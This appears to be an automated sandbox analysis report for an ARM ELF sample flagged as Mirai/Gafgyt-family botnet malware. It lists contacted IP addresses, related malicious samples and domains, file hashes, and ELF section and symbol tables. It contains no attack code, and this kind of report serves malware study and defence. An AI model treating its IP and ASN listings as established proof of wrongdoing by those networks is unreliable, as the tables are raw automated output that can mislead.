41.21.203.43	unknown	South Africa	36994	Vodacom-VBZA	false
197.223.37.79	unknown	Egypt	37069	MOBINILEG	false
197.172.14.145	unknown	South Africa	37168	CELL-CZA	false
197.191.9.241	unknown	Ghana	37140	zain-asGH	false
41.144.92.210	unknown	South Africa	5713	SAIX-NETZA	false
197.130.149.51	unknown	Morocco	6713	IAM-ASMA	false
156.96.173.196	unknown	United States	393504	XNSTGCA	false
156.182.133.30	unknown	Egypt	36992	ETISALAT-MISREG	false
156.65.105.203	unknown	United States	26960	MICHELIN-NORTH-AMERICA-I1US	false
156.79.55.21	unknown	United States	11363	FUJITSU-USAUS	false
156.200.238.106	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.49.200.173	unknown	Sweden	29975	VODACOM-ZA	false
156.114.68.237	unknown	Netherlands	59630	NN_INSURANCE_EURASIA_NV_ITH-ASNL	false
156.228.216.62	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	true
197.30.88.198	unknown	Tunisia	37492	ORANGE-TN	false
156.189.23.154	unknown	Egypt	36992	ETISALAT-MISREG	false
41.145.46.96	unknown	South Africa	5713	SAIX-NETZA	false
197.53.167.44	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.38.239.155	unknown	South Africa	37153	xneeloZA	false
41.187.159.146	unknown	Egypt	20928	NOOR-ASEG	false
156.168.118.62	unknown	Egypt	36992	ETISALAT-MISREG	false
197.75.85.212	unknown	South Africa	16637	MTNNS-ASZA	false
197.177.40.125	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.12.183.246	unknown	South Africa	29975	VODACOM-ZA	false
41.21.46.176	unknown	South Africa	36994	Vodacom-VBZA	false
156.114.21.50	unknown	Netherlands	13639	ING-AMERICAS-WHOLESALEUS	false
41.158.230.67	unknown	Gabon	16058	Gabon-TelecomGA	false
41.145.58.86	unknown	South Africa	5713	SAIX-NETZA	false
156.68.4.48	unknown	United States	297	AS297US	false
197.59.45.167	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.61.222.149	unknown	United Kingdom	39400	LBH-ASCountyCouncilGB	false
41.199.210.12	unknown	Egypt	36992	ETISALAT-MISREG	false
41.203.214.17	unknown	Kenya	37061	SafaricomKE	false
156.144.247.126	unknown	United States	3743	ARCEL-2US	false
197.211.30.56	unknown	Kenya	15399	WANANCHI-KE	false
41.14.214.37	unknown	South Africa	29975	VODACOM-ZA	false
156.28.220.88	unknown	France	34542	SAFRANHE-ASFR	false
41.165.231.36	unknown	South Africa	36937	Neotel-ASZA	false
156.1.33.254	unknown	United States	22226	SFUSDUS	false
197.21.41.37	unknown	Tunisia	37693	TUNISIANATN	false
197.136.212.74	unknown	Kenya	36914	KENET-ASKE	false
197.119.253.192	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.57.15.37	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.111.247.74	unknown	United States	395139	NYP-INTERNETUS	false
197.231.126.207	unknown	Gabon	37582	ANINFGA	false
197.55.123.251	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.56.173.22	unknown	United States	87	INDIANA-ASUS	false
156.118.32.182	unknown	France	59863	NORSKREGNESENTRALNO	false
41.183.9.46	unknown	South Africa	37028	FNBCONNECTZA	false
156.188.44.188	unknown	Egypt	36992	ETISALAT-MISREG	false
156.208.228.171	unknown	Egypt	8452	TE-ASTE-ASEG	true
197.180.144.92	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.44.30.123	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.216.31.73	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.132.175.97	unknown	Egypt	24835	RAYA-ASEG	false
41.80.115.152	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
156.100.80.106	unknown	United States	393504	XNSTGCA	true
156.19.45.102	unknown	United States	20115	CHARTER-20115US	false
41.80.115.154	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.156.248.117	unknown	Nigeria	30988	ISInternetSolutionsNG	false
41.228.34.215	unknown	Tunisia	37693	TUNISIANATN	false
41.51.146.191	unknown	South Africa	37168	CELL-CZA	false
156.7.85.74	unknown	United States	29975	VODACOM-ZA	false
197.209.63.0	unknown	Sudan	36998	SDN-MOBITELSD	false
41.85.124.34	unknown	South Africa	328418	Olena-Trading-ASZA	false
156.31.61.71	unknown	Brunei Darussalam	34542	SAFRANHE-ASFR	false
41.232.91.229	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.24.26.116	unknown	Tunisia	37693	TUNISIANATN	false
41.137.15.140	unknown	Morocco	36884	MAROCCONNECTMA	false
156.228.216.13	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.163.98.181	arm7.elf	Get hash	malicious	Mirai	Browse
	lpZunDkkVn.elf	Get hash	malicious	Mirai, Moobot	Browse
	roIn6i4boX.elf	Get hash	malicious	Mirai, Moobot	Browse
	0fHzKWLrTW.elf	Get hash	malicious	Mirai, Moobot	Browse
	mips.elf	Get hash	malicious	Mirai	Browse
41.47.89.41	6TLfkdivL6.elf	Get hash	malicious	Mirai	Browse
41.47.89.41	mips-20240205-0055.elf	Get hash	malicious	Mirai, Moobot	Browse
156.18.227.143	ascaris.x86_64.elf	Get hash	malicious	Mirai	Browse
	h0tIagtGAH	Get hash	malicious	Unknown	Browse
	WNxghigsaw	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
156.25.252.247	kr.arm4.elf	Get hash	malicious	Mirai	Browse
197.217.101.147	i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	sh4.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Mirai	Browse
	vh9HOxBJJN.elf	Get hash	malicious	Mirai	Browse
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	cfZDkRHSCG.elf	Get hash	malicious	Mirai	Browse
	7vbrDg2AF5.elf	Get hash	malicious	Mirai	Browse
	1nFcHxjn1Q.elf	Get hash	malicious	Mirai	Browse
	skid.arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	2X3ziKfjMT	Get hash	malicious	Unknown	Browse
156.20.120.28	9i3dQ7xdtO	Get hash	malicious	Mirai	Browse
197.179.217.60	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse
197.179.217.60	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	bin.sh.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	vcimanagement.powerpc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	vcimanagement.armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	vcimanagement.arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	vcimanagement.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	vcimanagement.ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	vcimanagement.arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	vcimanagement.mips.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	vcimanagement.mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	vcimanagement.spc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TE-ASTE-ASEG	vcimanagement.armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.42.24.234
	vcimanagement.powerpc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.222.105.72
	vcimanagement.armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.212.136.227
	vcimanagement.mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.203.46.243
	vcimanagement.sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.43.98.138
	vcimanagement.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.41.93.135
	vcimanagement.sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.42.230.148
	vcimanagement.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.214.239.160
	vcimanagement.m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.239.51.40
	vcimanagement.i686.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.37.180.80
FR-LYRESLyonRechercheetEnseignementSuperieurLyRESE	vcimanagement.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.18.66.124
	nshkmips.elf	Get hash	malicious	Mirai	Browse	140.77.41.41
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	140.77.2.199
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	156.18.88.99
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	156.18.193.201
	rarm7.elf	Get hash	malicious	Mirai	Browse	156.18.227.155
	arm7-20241210-1051.elf	Get hash	malicious	Mirai	Browse	156.18.88.86
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.18.227.173
	ppc.elf	Get hash	malicious	Mirai	Browse	156.18.227.147
	arm.elf	Get hash	malicious	Mirai	Browse	156.18.227.186
TE-ASTE-ASEG	vcimanagement.armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.42.24.234
	vcimanagement.powerpc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.222.105.72
	vcimanagement.armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.212.136.227
	vcimanagement.mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.203.46.243
	vcimanagement.sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.43.98.138
	vcimanagement.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.41.93.135
	vcimanagement.sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.42.230.148
	vcimanagement.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.214.239.160
	vcimanagement.m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.239.51.40
	vcimanagement.i686.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.37.180.80
TE-ASTE-ASEG	vcimanagement.armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.42.24.234
	vcimanagement.powerpc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.222.105.72
	vcimanagement.armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.212.136.227
	vcimanagement.mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.203.46.243
	vcimanagement.sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.43.98.138
	vcimanagement.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.41.93.135
	vcimanagement.sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.42.230.148
	vcimanagement.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.214.239.160
	vcimanagement.m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.239.51.40
	vcimanagement.i686.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.37.180.80

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	6.013005170644604
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	vcimanagement.armv7l.elf
File size:	190'040 bytes
MD5:	1e69e0298d555e40144de7e2c620a70f
SHA1:	ce97619614500791f6f25e1a35660860fb6a810c
SHA256:	62520cfd3234028d0b5d824b73c9db271843424e4cfa78e9931f06fd290f747e
SHA512:	3d19690c6310f090ed36a86c9adf86e8e2e0552572ff075e3bf939007be23bd777e2d66bf60a266cd63ca4697156f64128807e9194856ff594a6d4c73dc11cf1
SSDEEP:	3072:OGep94UJx5CqNVDaTDLlpMtyhryb+RCYKTci228GM/9vIWmvtg4yFBZUyNL:ONvDaTDLlpMYhrRCYmci2OM/9gWmvtgt
TLSH:	24042934D640471BC1E227BAE68B424E3F335F97A3DB33095A387AB43BD17995E22911
File Content Preview:	.ELF..............(.........4....N......4. ...(........p.....X...X.. ... ...........................................................`....v..........................................Q.td..................................-...L..................G.F.G.F.G.F.G.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x81d0
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	151064
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x192ec	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x213dc	0x193dc	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x213f0	0x193f0	0x449c	0x0	0x2	A	0	0	8
.ARM.extab	PROGBITS	0x2588c	0x1d88c	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x258a4	0x1d8a4	0x120	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x2e000	0x1e000	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x2e004	0x1e004	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x2e004	0x1e004	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x2e008	0x1e008	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x2e00c	0x1e00c	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x2e010	0x1e010	0xb0	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x2e0c0	0x1e0c0	0x3a0	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x2e460	0x1e460	0x7264	0x0	0x3	WA	0	0	8
.comment	PROGBITS	0x0	0x1e460	0xd2a	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x1f190	0x140	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x1f2d0	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x1f4e3	0x2043	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x21526	0x6e2	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x21c08	0xe76	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x22a80	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x22d38	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x23602	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x24791	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x24ce9	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x24cff	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x252a0	0x6140	0x10	0x0		28	863	4
.strtab	STRTAB	0x0	0x2b3e0	0x3278	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x1d8a4	0x258a4	0x258a4	0x120	0x120	4.4742	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x1d9c4	0x1d9c4	6.1702	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x1e000	0x2e000	0x2e000	0x460	0x76c4	4.3770	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x1e004	0x2e004	0x2e004	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80d4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80f0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x213dc	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x213f0	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x2588c	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x258a4	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x2e000	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x2e004	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x2e004	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x2e008	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x2e00c	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x2e010	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x2e0c0	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x2e460	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	25
$a	.symtab	0x80d4	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x213dc	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80e0	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x213e8	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x812c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8170	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x81d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x820c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8634	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9608	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9638	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x97ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9af0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9c48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9ca4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9d44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa588	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa6d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa7a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa900	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xaa44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb338	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb718	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb8a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb9f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbd24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbffc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc418	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc47c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd49c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdb78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdc9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe324	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe9d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf9c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfbf0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfeac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x107f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1088c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10960	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10ae8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11588	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1176c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x117b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11804	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11870	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x118fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11a84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12898	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x129ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x129c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12a58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12b4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12bb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12bf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12cc0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12da0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12dd8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12e18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12e5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12ea0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12f24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12fb0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12fe0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1305c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1308c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x130bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x131cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1329c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13360	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13410	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13430	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13464	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13484	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x134b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x134e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x135b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13a18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13a98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13bfc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13c2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x143f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14498	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x144dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1468c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x146e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d6c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14fe0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15000	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15060	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15150	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15174	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15230	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x152fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x153f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15410	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1551c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1554c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15570	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x155ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1564c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15674	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15690	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15700	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15744	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x157b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x157fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15844	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15888	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x158f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15940	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x159c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15a0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15a7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15ac8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15b50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15b98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15bdc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15c2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15c40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15d04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15d70	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16720	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16860	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16c20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x170c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17100	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17228	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17240	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x172e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1739c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1745c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17500	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17590	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17668	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17760	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1784c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1786c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17888	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17a60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17b24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17bd0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17d1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18340	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18390	0	NOTYPE	<unknown>	DEFAULT	2
